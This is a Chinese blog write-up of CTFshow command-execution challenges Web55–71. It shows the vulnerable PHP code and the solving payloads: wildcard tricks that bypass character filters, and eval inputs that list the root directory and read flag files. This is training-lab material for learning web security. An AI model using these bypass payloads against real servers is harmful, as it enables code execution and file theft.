CTFshow命令执行(55-71)

已于 2025-03-26 11:13:09 修改
阅读量507 收藏 5
点赞数 16
文章标签： android 网络安全 安全 web安全 前端 CTF
于 2025-03-26 11:12:33 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/pythonZLX/article/details/146523818
版权

Web55

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

由于过滤了字母，但没有过滤数字，我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入，我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

极限命令执行1

所有环境均为centos7 根目录getflag文件

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势，太棒啦~。
//flag在根目录flag里，或者直接运行根目录getflag
​
error_reporting(0);
highlight_file(__FILE__);
​
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
            system($ctfshow);
        }else{
            echo("????????");
        }
}
?>

没有过滤a和 / ？

根据centos7的特性可以直接执行文件

/getflag

payload = /?????a?

Web60

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
​

本关包含了多个方法以及思路进行绕过

Web61

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

show_source('flag.php')

当我们知道了flag.php文件的flag变量名字后也可以使用骚操作：

c=include('flag.php');echo $flag;

Web62

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
​

同61一样

Web63

骚操作+1 如果不知道命名的情况下

c=include('flag.php');var_dump(get_defined_vars());

Web64

同上

目前已知方法：

  • 文件包含

  • 伪协议

  • 高亮显示，源码读取

  • 输出查看变量

  • 日志包含

Web65

c=highlight_file('flag.php');

Web66

flag.php没有flag，真正flag在根目录。你问我怎么知道的？当然是一点点找的

var_dump(scandir('/'));
​
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 
c=highlight_file('/flag.txt');
ctfshow{9c835405-b6cc-49d5-be3f-bb02b8255741}

Web67

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

使用var_dump(scandir("/"));来显示文件夹下的内容

然后使用highlight_file来高亮显示flag

Web68

扫目录，找flag

c=include('/flag.txt'); 没有php标签默认html输出

Web69

var_export(scandir("/"));

c=include('/flag.txt');

Web70

var_export(scandir("/"));

c=include('/flag.txt');

Web71

附件下载，拿到源码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents(); //得到缓冲区内容
        ob_end_clean();   //将缓冲区清空
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);  //将输出内容进行替换
}else{
    highlight_file(__FILE__);
}
​
?>
​
你要上天吗？

思路：直接不执行后面的代码，exit();

c=var_export(scandir("/"));exit();

c=include('/flag.txt');exit();

PHP代码审计入门1
lwwzyy
09-03 519
CTF中的PHP代码审计
ctfshow命令执行——突破禁用函数
nidaxin的博客
02-20 791
web58:【突破禁用函数】 代码执行： 利用系统函数实现命令执行，在php下，允许命令执行的函数有： eval（）：eval() 函数把字符串按照 PHP 代码来计算。 assert（） preg_replace（）：替换字符串 call_user_func（）：就是一种用于传参的函数 file_get_contents():获取文件内容 scandir() 函数返回一个数组，其中包含指定路径中的文件和目录。若成功，则返回一个数组，若失败，则返回 false。如果directory不是目录..
CTFSHOW-WEB入门-命令执行54-70
2301_80024722的博客
02-02 882
会读取gzip文件并将其内容输出到标准输出设备。如果文件不是gzip格式，readgzfile会直接从文件中读取内容而不进行解压。这些字符 ‘c’、‘a’ 和 ‘t’ 可以以任意顺序出现，并且它们之间可以有任意字符（包括零个字符）分隔。在Linux下可以在当前目录下执行可执行文件或者命令。运算进行解析，由于这道题的。通过查阅资料可以知道，在。在进行按位取反就可以得到。，那么我们只需要拼接出。进行按位取反可以得到。
ctfshow-web入门-命令执行（web53-web55）
Welcome To Myon'Blog !
06-10 1672
这里的代码有点不一样，说一下这两种的区别：（1）直接执行 system($c);这种方式会直接执行命令 $c 并将命令的输出直接发送到标准输出（通常是浏览器）；不会返回命令的输出值，因此不能对输出结果进行进一步处理。（2）使用一个参数来接受 system 的返回值后再输出它这种方式不仅会执行命令 $c，而且会将命令的最后一行输出结果赋值给变量 $d；然后通过 echo "".$d;将变量 $d 的内容输出到标准输出；
CTFshow命令执行29-123
qq_43534481的博客
08-06 1592
CTFshow命令执行WP
ctfshow web入门--命令执行
2402_87078084的博客
02-24 503
（页面是空白的，导致我刚开始一直以为哪里弄的不对，查看源代码才发现flag）查看当前目录下的文件,可见有flag.php的存在。
ctfshow-web入门-命令执行（web37-web40）
Welcome To Myon'Blog !
06-07 2358
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息，如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候，日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。将我们想要执行的代码包含进去，其实和 php://input 是一样的，让用户可以控制输入流，当它与文件包含函数结合时，用户输入的 data:// 流就会被当作 php 文件执行。就会显示容器有问题了。我们也可以采用编码绕过，对
ctfshow-web入门-命令执行（web56、web57、web58）
Welcome To Myon'Blog !
06-29 1694
由于前面说的只有 -1，因此我们对 36 进行取反，得到 -37，对 -37 再次取反即可得到 36。这里说了 flag 在 36.php，那么我们只需要构造 36，但是数字被过滤了。根据 $((~ $(()) ))=-1，我们进行拼接，构造出 -37。命令执行，需要严格的过滤，已测试，可绕。
ctfshow 命令执行 web 29~124
shinygod的博客
02-22 528
原理：因为localeconv()的第个元素是“.”,然后pos()能够提取出当前元素的值，也就是“.”，而scandir()能过返回指定目录中的文件和目录的数组，然而上一层pos()已经提取出".“,这样就变成scandir(”.")返回当前目录下的目录数组，array_reverse()以相反的元素顺序返回数组，next()提取第二个元素，最后用read_file()、highlight_file()和show_source()读出源码。//若成功，则返回一个数组，若失败，则返回 false。
[CTFSHOW]命令执行55-74
Huamang的博客
03-05 1648
web 55 if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); } bin目录: bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、
CTFshow--web入门--命令执行（29--55）
weixin_53425135的博客
11-23 2627
CTFshow–web入门 web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 过滤了flag，可以使用通配符进行绕过 : ?c=system(‘cat f*’); web30 <?p
ctfshow40-55 命令执行
Takagiapa的博客
11-07 856
ctfshow web入门40到55题，题目稍微增加了难度，不过也有很多很水的题。学习并记录
ctfshow web入门 命令执行后篇(web55-web188)
ccfly1012的博客
09-04 2132
web55 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com ​ */ ​ // 你们在炫技吗？ if(isset($_GET['c']..
Android setContentView()源码分析
xiangxiongfly
05-06 374
setContentView() 源码分析
内存泄漏系列专题分析之二：Google官方Android malloc_debug实现原理
05-02 542
malloc-debug是android⾃带调试⼯具，可以协助调试内存相关问题，简单理解是使⽤mallocdebug调试函数替换标准库中的malloc/free等内存相关函数，每次申请和释放内存都对内存做标记和记录，当内存泄漏或越界时，通过记录相关信息⽅便调试问题。我们只能使⽤来检查native heap内存泄漏，其它的内存越界检查等等使⽤hwasan⼯具。主要包含的功能如下：1、申请后多次释放 (double free)2、释放后⼜去使⽤ (used after free)3、使⽤越界。
android textview 一个高亮效果
最新发布
龙之吻T
05-07 191
【代码】android textview 一个高亮效果。
android Kotlin ，internal class , data class, class的区别
Java_fenxiang的博客
05-03 501
class：用于创建常规类，默认不可被继承。data class：主要用于保存数据，自动生成常用方法。：访问权限为模块级别。：不能被实例化，可包含抽象方法，子类需实现抽象方法。open class：可以被继承，类和成员默认不可重写，需用open修饰。：表示受限的类层次结构，子类需在同一文件中声明。：定义在另一个类内部，可访问外部类成员。
Chromium 134 编译指南 - Android 篇：从Linux版切换到Android版（六）
守城小轩的技术窝棚
05-01 833
通过本篇文章的指导，您已经成功将Linux版的Chromium源代码转换为同时支持Android平台的配置。这种方法不仅节省了重新下载整个代码库的时间和带宽，还让您的开发环境更加灵活，能够在不同平台间快速切换。理解了.gclient文件的作用和重要性修改了配置文件，添加了Android作为目标平台同步了Android平台所需的特定依赖项验证了配置是否成功完成这些步骤看似简单，但对于高效开发Chromium跨平台版本至关重要。
命令执行漏洞ctfshow
12-27
### CTFShow 命令执行漏洞 解题思路 分析 #### 题目环境概述 在给定的 PHP 代码片段中，存在一个 GET 参数 `c` 的处理逻辑[^1]。当接收到此参数时，程序会检查该字符串是否包含敏感关键字 "flag"（不区分大小写），...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值